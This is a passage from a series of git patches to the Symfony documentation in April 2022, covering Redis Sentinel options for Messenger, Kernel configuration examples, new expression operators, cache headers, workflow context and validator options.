+++ b/messenger.rst
@@ -1454,47 +1454,38 @@ A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
 
-=======================  =====================================  =================================
-Option                   Description                            Default
-=======================  =====================================  =================================
-stream                   The Redis stream name                  messages
-group                    The Redis consumer group name          symfony
-consumer                 Consumer name used in Redis            consumer
-auto_setup               Create the Redis group automatically?  true
-auth                     The Redis password
-delete_after_ack         If ``true``, messages are deleted      false
-                         automatically after processing them
-delete_after_reject      If ``true``, messages are deleted      true
-                         automatically if they are rejected
-lazy                     Connect only when a connection is      false
-                         really needed
-serializer               How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                         in Redis (the
-                         ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries       The maximum number of entries which    ``0`` (which means "no trimming")
-                         the stream will be trimmed to. Set
-                         it to a large enough number to
-                         avoid losing pending messages
-tls                      Enable TLS support for the connection  false
-redeliver_timeout        Timeout before retrying a pending      ``3600``
-                         message which is owned by an
-                         abandoned consumer (if a worker died
-                         for some reason, this will occur,
-                         eventually you should retry the
-                         message) - in seconds.
-claim_interval           Interval on which pending/abandoned    ``60000`` (1 Minute)
-                         messages should be checked for to
-                         claim - in milliseconds
-sentinel_persistent_id   String, if null connection is          null
-                         non-persistent.
-sentinel_retry_interval  Int, value in milliseconds             ``0``
-sentinel_read_timeout    Float, value in seconds                ``0``
-                         default indicates unlimited
-sentinel_timeout         Float, value in seconds                ``0``
-                         default indicates unlimited
-sentinel_master          String, if null or empty Sentinel      null
-                         support is disabled
-=======================  =====================================  =================================
+===================  =====================================  =================================
+Option               Description                            Default
+===================  =====================================  =================================
+stream               The Redis stream name                  messages
+group                The Redis consumer group name          symfony
+consumer             Consumer name used in Redis            consumer
+auto_setup           Create the Redis group automatically?  true
+auth                 The Redis password
+delete_after_ack     If ``true``, messages are deleted      false
+                     automatically after processing them
+delete_after_reject  If ``true``, messages are deleted      true
+                     automatically if they are rejected
+lazy                 Connect only when a connection is      false
+                     really needed
+serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
+                     in Redis (the
+                     ``Redis::OPT_SERIALIZER`` option)
+stream_max_entries   The maximum number of entries which    ``0`` (which means "no trimming")
+                     the stream will be trimmed to. Set
+                     it to a large enough number to
+                     avoid losing pending messages
+tls                  Enable TLS support for the connection  false
+redeliver_timeout    Timeout before retrying a pending      ``3600``
+                     message which is owned by an
+                     abandoned consumer (if a worker died
+                     for some reason, this will occur,
+                     eventually you should retry the
+                     message) - in seconds.
+claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
+                     messages should be checked for to
+                     claim - in milliseconds
+===================  =====================================  =================================
 
 .. caution::
 
@@ -1523,11 +1514,6 @@ sentinel_master          String, if null or empty Sentinel      null
 
     The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
 
-.. versionadded:: 5.4
-
-    The ``sentinel_persistent_id``, ``sentinel_retry_interval``, ``sentinel_read_timeout``,
-    ``sentinel_timeout``, and ``sentinel_master`` options were introduced in Symfony 5.4.
-
 .. deprecated:: 5.4
 
     Not setting a explicit value for the ``delete_after_ack`` option is

From c6543ea01d986fa3831c4e596193fd6384fe692b Mon Sep 17 00:00:00 2001
From: Norbert Schultheisz <schultheisz.norbert@webshippy.com>
Date: Wed, 6 Apr 2022 07:34:35 +0000
Subject: [PATCH 3138/7107] [Messenger] Fix: Redis Sentinel support - aligning
 paramaters with contructor

---
 messenger.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index a292b3a5ac8..ea88e748379 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1369,12 +1369,12 @@ redeliver_timeout        Timeout before retrying a pending      ``3600``
 claim_interval           Interval on which pending/abandoned    ``60000`` (1 Minute)
                          messages should be checked for to
                          claim - in milliseconds
-sentinel_persistent_id   String, if null connection is          null
+persistent_id            String, if null connection is          null
                          non-persistent.
-sentinel_retry_interval  Int, value in milliseconds             ``0``
-sentinel_read_timeout    Float, value in seconds                ``0``
+retry_interval           Int, value in milliseconds             ``0``
+read_timeout             Float, value in seconds                ``0``
                          default indicates unlimited
-sentinel_timeout         Float, value in seconds                ``0``
+timeout                  Float, value in seconds                ``0``
                          default indicates unlimited
 sentinel_master          String, if null or empty Sentinel      null
                          support is disabled

From 08b2e339b1dce0bb702118416b4b1b7e03c3ae53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Apr 2022 17:43:15 +0200
Subject: [PATCH 3139/7107] Readded the Redis Sentinel options

---
 messenger.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index d22c2a6bfa9..4970b526f16 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1369,8 +1369,22 @@ redeliver_timeout        Timeout before retrying a pending      ``3600``
 claim_interval           Interval on which pending/abandoned    ``60000`` (1 Minute)
                          messages should be checked for to
                          claim - in milliseconds
+sentinel_persistent_id   String, if null connection is          null
+                         non-persistent.
+sentinel_retry_interval  Int, value in milliseconds             ``0``
+sentinel_read_timeout    Float, value in seconds                ``0``
+                         default indicates unlimited
+sentinel_timeout         Float, value in seconds                ``0``
+                         default indicates unlimited
+sentinel_master          String, if null or empty Sentinel      null
+                         support is disabled
 =======================  =====================================  =================================
 
+.. versionadded:: 5.4
+
+    The ``sentinel_persistent_id``, ``sentinel_retry_interval``, ``sentinel_read_timeout``,
+    ``sentinel_timeout``, and ``sentinel_master`` options were introduced in Symfony 6.1.
+
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same

From 598a8c253dd2232031ca04c31532d114c02f9e8f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Apr 2022 17:45:46 +0200
Subject: [PATCH 3140/7107] Minor tweak

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 69969f76920..0033044f03e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1382,8 +1382,8 @@ sentinel_master          String, if null or empty Sentinel      null
 
 .. versionadded:: 5.4
 
-    The ``sentinel_persistent_id``, ``sentinel_retry_interval``, ``sentinel_read_timeout``,
-    ``sentinel_timeout``, and ``sentinel_master`` options were introduced in Symfony 6.1.
+    The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
+    ``sentinel_master`` options were introduced in Symfony 6.1.
 
 .. caution::
 

From f083d696482e44cb84f915f9ab0f3509a58a99a4 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 6 Apr 2022 22:39:48 +0200
Subject: [PATCH 3141/7107] [Config] Add Kernel method override example for
 php/xml formats

---
 configuration.rst | 21 ++++++++++++++++++++-
 1 file changed, 20 insertions(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 6fcab2514ad..679240d7a54 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -65,7 +65,26 @@ shown in these three formats.
     Starting from Symfony 5.1, by default Symfony only loads the configuration
     files defined in YAML format. If you define configuration in XML and/or PHP
     formats, update the ``src/Kernel.php`` file to add support for the ``.xml``
-    and ``.php`` file extensions.
+    and ``.php`` file extensions by overriding the
+    :method:`Symfony\\Component\\HttpKernel\\Kernel::configureContainer` method::
+
+        // src/Kernel.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+        private function configureContainer(ContainerConfigurator $container): void
+        {
+            $configDir = $this->getConfigDir();
+
+            $container->import($configDir.'/{packages}/*.{yaml,php}');
+            $container->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
+
+            if (is_file($configDir.'/services.yaml')) {
+                $container->import($configDir.'/services.yaml');
+                $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
+            } else {
+                $container->import($configDir.'/{services}.php');
+            }
+        }
 
 There isn't any practical difference between formats. In fact, Symfony
 transforms and caches all of them into PHP before running the application, so

From e33b43faaa5983cb7ae2d83e3eb431dad1ea2125 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Thu, 7 Apr 2022 13:55:23 +0000
Subject: [PATCH 3142/7107] Update syntax.rst

---
 components/expression_language/syntax.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index a4c17f81a27..817e760b22b 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -183,6 +183,9 @@ Comparison Operators
 * ``<=`` (less than or equal to)
 * ``>=`` (greater than or equal to)
 * ``matches`` (regex match)
+* ``contains``
+* ``starts with``
+* ``ends with``
 
 .. tip::
 

From ccf38dcca47e30dcf8d388810070f1801b268526 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Apr 2022 08:38:18 +0200
Subject: [PATCH 3143/7107] Add the versionadded directive

---
 components/expression_language/syntax.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 14de165e85b..9f0ace947b0 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -214,6 +214,11 @@ Comparison Operators
 * ``starts with``
 * ``ends with``
 
+.. versionadded:: 6.1
+
+    The ``contains``, ``starts with`` and ``ends with`` operators were introduced
+    in Symfony 6.1.
+
 .. tip::
 
     To test if a string does *not* match a regex, use the logical ``not``

From 1695ba7156c8cfd0e48c132e4d9cd63d453ff5d4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Apr 2022 16:06:13 +0200
Subject: [PATCH 3144/7107] Minor syntax fix

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index f91125d7000..605561e39d5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1193,7 +1193,7 @@ it in the ``port`` parameter of the DSN (e.g. ``amqps://localhost?cacert=/etc/ss
     By default, the transport will automatically create any exchanges, queues and
     binding keys that are needed. That can be disabled, but some functionality
     may not work correctly (like delayed queues).
-    To not autocreate any queues, you can configure a transport with `queues: []`.
+    To not autocreate any queues, you can configure a transport with ``queues: []``.
 
 .. note::
 

From d75e3c51d5e55b0b5c7b54af5ace79882e783b70 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Apr 2022 16:27:59 +0200
Subject: [PATCH 3145/7107] Minor tweak

---
 configuration.rst | 24 +++++++++++++++---------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 679240d7a54..ef6050ba34f 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -70,19 +70,25 @@ shown in these three formats.
 
         // src/Kernel.php
         use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-        private function configureContainer(ContainerConfigurator $container): void
+        class Kernel extends BaseKernel
         {
-            $configDir = $this->getConfigDir();
+            // ...
+
+            private function configureContainer(ContainerConfigurator $container): void
+            {
+                $configDir = $this->getConfigDir();
 
-            $container->import($configDir.'/{packages}/*.{yaml,php}');
-            $container->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
+                $container->import($configDir.'/{packages}/*.{yaml,php}');
+                $container->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
 
-            if (is_file($configDir.'/services.yaml')) {
-                $container->import($configDir.'/services.yaml');
-                $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
-            } else {
-                $container->import($configDir.'/{services}.php');
+                if (is_file($configDir.'/services.yaml')) {
+                    $container->import($configDir.'/services.yaml');
+                    $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
+                } else {
+                    $container->import($configDir.'/{services}.php');
+                }
             }
         }
 

From 995b2e62d91617c851863537cd27f5b710b64a1d Mon Sep 17 00:00:00 2001
From: remieuronews <remi.le-monnier@ext.euronews.com>
Date: Tue, 25 Jan 2022 09:17:01 +0100
Subject: [PATCH 3146/7107] [cache] 45036 add stale while revalidate and stale
 if error support

---
 components/http_foundation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 8e31999220f..5ae8bf14a4f 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -479,6 +479,8 @@ of methods to manipulate the HTTP headers related to the cache:
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setExpires`
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setMaxAge`
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setSharedMaxAge`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setStaleIfError`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setStaleWhileRevalidate`
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setTtl`
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setClientTtl`
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setLastModified`
@@ -506,6 +508,8 @@ call::
         'proxy_revalidate' => false,
         'max_age'          => 600,
         's_maxage'         => 600,
+        'stale_if_error'   => 86400,
+        'stale_while_revalidate' => 60,
         'immutable'        => true,
         'last_modified'    => new \DateTime(),
         'etag'             => 'abcdef',

From 8d0a9d963b513e66231ad54a4166fa80d905ec93 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Apr 2022 16:47:32 +0200
Subject: [PATCH 3147/7107] Add the versionadded directive

---
 components/http_foundation.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 5ae8bf14a4f..76a3a767698 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -515,6 +515,11 @@ call::
         'etag'             => 'abcdef',
     ]);
 
+.. versionadded:: 6.1
+
+    The ``stale_if_error`` and ``stale_while_revalidate`` options were
+    introduced in Symfony 6.1.
+
 To check if the Response validators (``ETag``, ``Last-Modified``) match a
 conditional value specified in the client Request, use the
 :method:`Symfony\\Component\\HttpFoundation\\Response::isNotModified`

From 0203dfbe2640c0b39cad515a73a8d01c4aedcbf9 Mon Sep 17 00:00:00 2001
From: Volen Davidov <volen.davidov@gmail.com>
Date: Tue, 5 Apr 2022 17:14:31 +0300
Subject: [PATCH 3148/7107] [Messenger] Services that need reset must implement
 ResetInterface

---
 messenger.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 0033044f03e..0886e2716ea 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -707,11 +707,16 @@ you can decide to not take care of services that may leak memory.
 
 On the other hand, workers usually sequentially process messages in long-running CLI processes, which don't
 finish after processing a single message. That's why you must be careful about service
-states to prevent information and/or memory leakage.
+states to prevent information and/or memory leakage as Symfony will inject the same instance of a
+service, preserving the internal state of the service between messages.
 
 However, certain Symfony services, such as the Monolog
 :ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
 That's why Symfony automatically resets the service container between two messages.
+If a service is not stateless and you want to reset its properties after each message, then
+the service must implement :class:`Symfony\\Contracts\\Service\\ResetInterface` where you can reset the
+properties in the ``reset()`` method.
+
 If you don't want to reset the container, add the ``--no-reset`` option when
 running the ``messenger:consume`` command.
 

From 8482dad4fb8d1aec38a1f5aee7c965fd5d3032bb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Apr 2022 17:37:52 +0200
Subject: [PATCH 3149/7107] Reword

---
 messenger.rst | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index d1c5cd42073..8a82d1d18b8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -705,14 +705,19 @@ PHP is designed to be stateless, there are no shared resources across different
 requests. In HTTP context PHP cleans everything after sending the response, so
 you can decide to not take care of services that may leak memory.
 
-On the other hand, workers usually sequentially process messages in long-running CLI processes, which don't
-finish after processing a single message. That's why you must be careful about service
-states to prevent information and/or memory leakage as Symfony will inject the same instance of a
-service, preserving the internal state of the service between messages.
+On the other hand, it's common for workers to process messages sequentially in
+long-running CLI processes which don't finish after processing a single message.
+Beware about service states to prevent information and/or memory leakage as
+Symfony will inject the same instance of a service in all messages, preserving
+the internal state of the services.
 
 However, certain Symfony services, such as the Monolog
 :ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
-That's why Symfony automatically resets the service container between two messages.
+Symfony provides a **service reset** feature to solve this problem. When resetting
+the container automatically between two messages, Symfony looks for any services
+implementing :class:`Symfony\\Contracts\\Service\\ResetInterface` (including your
+own services) and calls their ``reset()`` method so they can clean their internal state.
+
 If a service is not stateless and you want to reset its properties after each message, then
 the service must implement :class:`Symfony\\Contracts\\Service\\ResetInterface` where you can reset the
 properties in the ``reset()`` method.

From 41190e5e92b7656201e8bd1f69937de0826f5c6c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 8 Apr 2022 19:42:02 +0200
Subject: [PATCH 3150/7107] [Pull Requests] Fix Symfony upstream URL as
 `git://` isn't supported by Github anymore.

See: https://github.blog/2021-09-01-improving-git-protocol-security-github/
---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index d49b8179b88..3d45dbd6c62 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -99,7 +99,7 @@ Get the Symfony source code:
 .. code-block:: terminal
 
       $ cd symfony
-      $ git remote add upstream git://github.com/symfony/symfony.git
+      $ git remote add upstream https://github.com/symfony/symfony.git
 
 Check that the current Tests Pass
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 806310a10c8cb8e35182ab7871329eddaa4807bd Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 10 Apr 2022 10:56:52 +0200
Subject: [PATCH 3151/7107] Adding caution box on dependecy injection

I guessed this (based on trial and error), so please double-check!

Maybe add a second sentence like:
The reason is that the class is instantiated by Doctrine and not wired through Symfony's DI container.
---
 doctrine/custom_dql_functions.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index ee11967da47..974ee11987f 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -146,4 +146,8 @@ In Symfony, you can register your custom DQL functions as follows:
                 ],
             ]);
 
+.. caution::
+
+    It is not possible to inject Symfony services or parameters into a custom DQL function.
+
 .. _`DQL User Defined Functions`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/cookbook/dql-user-defined-functions.html

From c1993e8e73922d8f06ef25a025ad8f7006759316 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Tom=C3=A1=C5=A1=20Tibensk=C3=BD?=
 <ttibensky@users.noreply.github.com>
Date: Sun, 10 Apr 2022 14:23:47 +0200
Subject: [PATCH 3152/7107] Fix invalid interface mention in security.rst

SerializableInterface doesn't exist, I assume it was meant to be https://www.php.net/manual/en/class.serializable.php, the motivation behind this change is described here https://stackoverflow.com/questions/42074225/symfony-userinterface-is-serializing-the-entire-massive-user-entity/71816482#71816482
---
 security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index d29f1480f78..e04a67e41a6 100644
--- a/security.rst
+++ b/security.rst
@@ -2503,9 +2503,9 @@ However, in some cases, this process can cause unexpected authentication problem
 If you're having problems authenticating, it could be that you *are* authenticating
 successfully, but you immediately lose authentication after the first redirect.
 
-In that case, review the serialization logic (e.g. ``SerializableInterface``) on
+In that case, review the serialization logic (e.g. ``\Serializable`` interface) on
 you user class (if you have any) to make sure that all the fields necessary are
-serialized.
+serialized and also exclude all the fields not necessary to be serialized (relations).
 
 Comparing Users Manually with EquatableInterface
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From fbb9b9349f8a06bea06c98c0ede473b6550cf23c Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 9 Apr 2022 21:17:35 +0200
Subject: [PATCH 3153/7107] [Doctrine] Fixing link syntax

---
 doctrine/custom_dql_functions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index ee11967da47..a6a47d4a18e 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -5,7 +5,7 @@ How to Register custom DQL Functions
 ====================================
 
 Doctrine allows you to specify custom DQL functions. For more information
-on this topic, read Doctrine's cookbook article "`DQL User Defined Functions`_".
+on this topic, read Doctrine's cookbook article `DQL User Defined Functions`_.
 
 In Symfony, you can register your custom DQL functions as follows:
 

From a457674654b71f6052ff7854e24e59efaf6476a7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Apr 2022 16:11:44 +0200
Subject: [PATCH 3154/7107] Fix a versionadded directive

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8a82d1d18b8..19be0030341 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1391,7 +1391,7 @@ sentinel_master          String, if null or empty Sentinel      null
                          support is disabled
 =======================  =====================================  =================================
 
-.. versionadded:: 5.4
+.. versionadded:: 6.1
 
     The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
     ``sentinel_master`` options were introduced in Symfony 6.1.

From 5f1cac0557c008f251d34bee91c0bf5767541538 Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Tue, 12 Apr 2022 10:37:05 +0200
Subject: [PATCH 3155/7107] Add documentation about
 trust_x_sendfile_type_header

---
 reference/configuration/framework.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0def42085e1..8b91833f8cc 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -180,6 +180,19 @@ named ``kernel.http_method_override``.
         $request = Request::createFromGlobals();
         // ...
 
+
+ .. _configuration-framework-http_method_override:
+
+trust_x_sendfile_type_header
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+This determines whether to trust ``x-sendfile`` header for BinaryFileResponse. If enabled, the
+:method:`BinaryFileResponse::trustXSendfileTypeHeader <Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader>`
+method gets called automatically. It becomes the service container parameter
+named ``kernel.trust_x_sendfile_type_header``.
+
 .. _reference-framework-trusted-headers:
 
 trusted_headers

From be3fe46043eceb3c412eb3743816cca5753efc2a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Apr 2022 17:32:00 +0200
Subject: [PATCH 3156/7107] Reword

---
 reference/configuration/framework.rst | 16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8b91833f8cc..8a3c41d3c85 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -188,10 +188,20 @@ trust_x_sendfile_type_header
 
 **type**: ``boolean`` **default**: ``false``
 
-This determines whether to trust ``x-sendfile`` header for BinaryFileResponse. If enabled, the
+.. versionadded:: 6.1
+
+    The ``trust_x_sendfile_type_header`` option was introduced in Symfony 6.1.
+
+``X-Sendfile`` is a special HTTP header that tells web servers to replace the
+response contents by the file that is defined in that header. This improves
+performance because files are no longer served by your application but directly
+by the web server.
+
+This configuration option determines whether to trust ``x-sendfile`` header for
+BinaryFileResponse. If enabled, Symfony calls the
 :method:`BinaryFileResponse::trustXSendfileTypeHeader <Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader>`
-method gets called automatically. It becomes the service container parameter
-named ``kernel.trust_x_sendfile_type_header``.
+method automatically. It becomes the service container parameter named
+``kernel.trust_x_sendfile_type_header``.
 
 .. _reference-framework-trusted-headers:
 

From 2e5a64da828f1bafdb1b4170680a12c7c54d18dd Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 13 Apr 2022 13:36:58 +0200
Subject: [PATCH 3157/7107] add back information on accessing the context in
 guard events

This information was present in older versions of the documentation, but
got lost when the `versionadded` directive was removed in the `6.0` branch.
---
 workflow.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 49486c00074..730ddc0926b 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -382,14 +382,14 @@ order:
 
         $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
 
-    The context is accessible in all events::
+The context is accessible in all events except for the ``workflow.guard`` events::
 
-        // $context must be an array
-        $context = ['context_key' => 'context_value'];
-        $workflow->apply($subject, $transitionName, $context);
+    // $context must be an array
+    $context = ['context_key' => 'context_value'];
+    $workflow->apply($subject, $transitionName, $context);
 
-        // in an event listener (workflow.guard events)
-        $context = $event->getContext(); // returns ['context']
+    // in an event listener (workflow.guard events)
+    $context = $event->getContext(); // returns ['context']
 
 .. note::
 

From 612ec53fa615dabcc9341712bc5674496d7d1a43 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 13 Apr 2022 13:38:48 +0200
Subject: [PATCH 3158/7107] move versionadded directive out of list item

This information is not only related to the `workflow.announce` event, but
provides important information for other events too.
---
 workflow.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index b44b417f333..5d972858c28 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -386,17 +386,17 @@ order:
 
         The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1.
 
-    .. versionadded:: 5.2
+.. versionadded:: 5.2
 
-        In Symfony 5.2, the context is customizable for all events except for
-        ``workflow.guard`` events, which will not receive the custom ``$context``::
+    In Symfony 5.2, the context is customizable for all events except for
+    ``workflow.guard`` events, which will not receive the custom ``$context``::
 
-            // $context must be an array
-            $context = ['context_key' => 'context_value'];
-            $workflow->apply($subject, $transitionName, $context);
+        // $context must be an array
+        $context = ['context_key' => 'context_value'];
+        $workflow->apply($subject, $transitionName, $context);
 
-            // in an event listener
-            $context = $event->getContext(); // returns ['context']
+        // in an event listener
+        $context = $event->getContext(); // returns ['context']
 
 .. note::
 

From 2d13ead362106f6d83d2811cb4b77d57efadae0e Mon Sep 17 00:00:00 2001
From: Florian-B <Florian-B@users.noreply.github.com>
Date: Wed, 13 Apr 2022 13:54:13 +0200
Subject: [PATCH 3159/7107] Update configuration.rst

---
 configuration.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index ef6050ba34f..114fcb8cb51 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -465,6 +465,12 @@ files directly in the ``config/packages/`` directory.
             when@test:
                 webpack_encore:
                     strict_mode: false
+                    
+            # you can use "Yaml anchors" to share config between multiple environments (make "test" config identical to "prod")
+            when@prod: &webpack_prod
+                webpack_encore:
+                    # ...
+            when@test: *webpack_prod
 
         .. code-block:: xml
 

From 38902a52438c2457109c1936bf8e63cb18bdaad2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Apr 2022 17:12:59 +0200
Subject: [PATCH 3160/7107] Minor reword

---
 configuration.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 114fcb8cb51..e74eaa8b862 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -465,8 +465,9 @@ files directly in the ``config/packages/`` directory.
             when@test:
                 webpack_encore:
                     strict_mode: false
-                    
-            # you can use "Yaml anchors" to share config between multiple environments (make "test" config identical to "prod")
+
+            # YAML syntax allows to reuse contents using "anchors" (&some_name) and "aliases" (*some_name).
+            # In this example, 'test' configuration uses the exact same configuration as in 'prod'
             when@prod: &webpack_prod
                 webpack_encore:
                     # ...

From caf3e1f99e85bc9af42e51f13071a923b8d031e4 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Wed, 13 Apr 2022 23:05:16 +0200
Subject: [PATCH 3161/7107] [Validator] Add the fields option to the Unique
 constraint

---
 reference/constraints/Unique.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 7a3e36c5aba..ad6e148254d 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -103,6 +103,20 @@ strings:
 Options
 -------
 
+``fields``
+~~~~~~~~~~
+
+**type**: ``array`` | ``string``
+
+
+.. versionadded:: 6.1
+
+    The ``fields`` option was introduced in Symfony 6.1.
+
+This is optional and defines key or keys
+in a collection that should be checked for uniqueness.
+By default, all collection keys are checked for uniqueness.
+
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 ``message``

